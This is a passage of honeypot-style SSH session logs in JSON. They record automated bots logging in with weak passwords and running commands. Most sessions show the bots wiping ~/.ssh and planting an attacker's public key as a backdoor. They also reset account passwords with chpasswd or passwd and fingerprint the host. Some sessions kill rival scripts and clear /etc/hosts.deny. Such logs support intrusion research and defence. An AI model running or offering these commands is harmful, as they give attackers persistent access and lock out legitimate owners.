GNU/Linux"},{"seq":27,"at":"2026-08-27T11:42:46.299157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:42:46.685921+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:42:47.140264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:42:48.258420+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:42:48.713657+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:42:49.739217+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zxcvbnm,","method":"password","accepted":true,"tier":"other"}]} {"id":"a9d9933a-f24d-47c7-b13f-224b574093e8","name":"icy-patient-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":47686,"username":"user14","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":884,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:42:43.634788+00:00","ended_at":"2026-08-27T11:42:45.278090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2225,"events":[{"seq":1,"at":"2026-08-27T11:42:13.480964+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:42:14.359079+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:42:21.408107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:42:21.680074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:42:22.581567+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nNJGILEMWRb0e\\nNJGILEMWRb0e\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:42:23.481775+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nNJGILEMWRb0e\\nNJGILEMWRb0e\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:42:24.360223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:42:24.803240+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:42:25.683504+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:42:26.999547+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:42:27.888855+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:42:29.123873+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:42:30.008667+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:42:30.365279+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:42:31.249104+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:42:31.884894+00:00","kind":"output","latency_ms":null,"data":" 11:42:31 up 7 days, 8:32, 0 user, load average: 0.19, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:42:32.771015+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:42:33.381716+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:42:34.259500+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:42:34.835061+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:42:35.717093+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:42:36.395012+00:00","kind":"output","latency_ms":null,"data":"top - 11:42:36 up 7 days, 8:32, 0 user, load average: 0.19, 0.19, 0.12\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:42:37.283651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:42:38.013717+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:42:38.925857+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:42:39.433175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:42:40.308729+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:42:41.005314+00:00","kind":"output","latency_ms":null,"data":"user14"},{"seq":29,"at":"2026-08-27T11:42:41.883060+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:42:42.754166+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:42:43.635682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:42:44.991460+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user14","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"f82edd59-1d77-4e21-aabc-38e643c9955c","name":"steady-emerald-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42768,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:54.297613+00:00","ended_at":"2026-08-27T11:41:55.633851+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T11:41:35.698499+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:36.024905+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:39.790475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:40.184371+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:40.511183+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YzCnoGtHWVVE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:40.835088+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:41.163402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:41.744315+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:42.072620+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:43.094050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:43.425705+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:44.438315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:44.768843+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:45.656208+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:45.986793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:46.875314+00:00","kind":"output","latency_ms":null,"data":" 11:41:46 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:47.202299+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:47.716314+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:48.044062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:48.637188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:48.966409+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:49.666147+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:49 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:49.993909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:50.789255+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:51.113529+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:51.461005+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:51.789796+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:52.611038+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:52.934788+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:53.975492+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:54.298495+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:55.536561+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"9eac5760-2272-4284-9c94-36fd1e49ffbb","name":"umber-twilight-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":44376,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:40.284750+00:00","ended_at":"2026-08-27T11:41:41.525679+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:41:12.697939+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:12.963597+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:16.928158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:18.599085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:18.864067+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3SESPICap2IE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:19.128348+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:19.391342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:21.505399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:21.770332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:23.092768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:23.360159+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:24.636029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:24.903450+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:26.454144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:26.722167+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:27.583698+00:00","kind":"output","latency_ms":null,"data":" 11:41:27 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:27.848595+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:29.752621+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:30.017059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:31.793181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:32.057738+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:33.107955+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:33 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:33.373028+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:34.547548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:34.811612+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:36.336782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:36.601679+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:38.453956+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:38.716237+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:40.019380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:40.285707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:41.450420+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"7d4b415a-43b3-43d8-a0cb-ff2a3ce124f5","name":"hazel-buoyant-pelican","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60424,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:12.249331+00:00","ended_at":"2026-08-27T11:41:14.246162+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2110,"events":[{"seq":1,"at":"2026-08-27T11:40:49.941391+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:40:50.239440+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:40:53.845161+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:40:55.807682+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:40:56.103447+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuckoo\\n8dGleHLDSatD\\n8dGleHLDSatD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:40:56.398664+00:00","kind":"input","latency_ms":null,"data":"echo \"cuckoo\\n8dGleHLDSatD\\n8dGleHLDSatD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:40:56.695615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:40:57.384106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:40:57.814943+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:40:58.482830+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:40:58.779573+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:41:00.330888+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:00.629195+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:41:02.350506+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:41:02.650780+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:41:04.837828+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:41:05.126322+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:41:06.153098+00:00","kind":"output","latency_ms":null,"data":" 11:41:06 up 7 days, 8:31, 0 user, load average: 0.26, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:41:06.449828+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:41:06.757915+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:41:07.055671+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:41:07.453166+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:41:07.750316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:41:08.194650+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:08 up 7 days, 8:31, 0 user, load average: 0.26, 0.26, 0.21\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:41:08.491472+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:41:09.258655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:41:09.554257+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:41:10.081963+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:41:10.376264+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:41:10.701464+00:00","kind":"output","latency_ms":null,"data":"cuckoo"},{"seq":31,"at":"2026-08-27T11:41:10.993227+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:41:11.954327+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:41:12.250132+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:41:14.157616+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuckoo","password":"cuckoo","method":"password","accepted":true,"tier":"other"}]} {"id":"3714f82b-a475-4738-8c29-603e0ca03865","name":"hazy-merry-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59156,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":448,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:40:03.459700+00:00","ended_at":"2026-08-27T11:40:05.021398+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2221,"events":[{"seq":1,"at":"2026-08-27T11:39:42.704707+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:39:43.155341+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:39:47.637660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 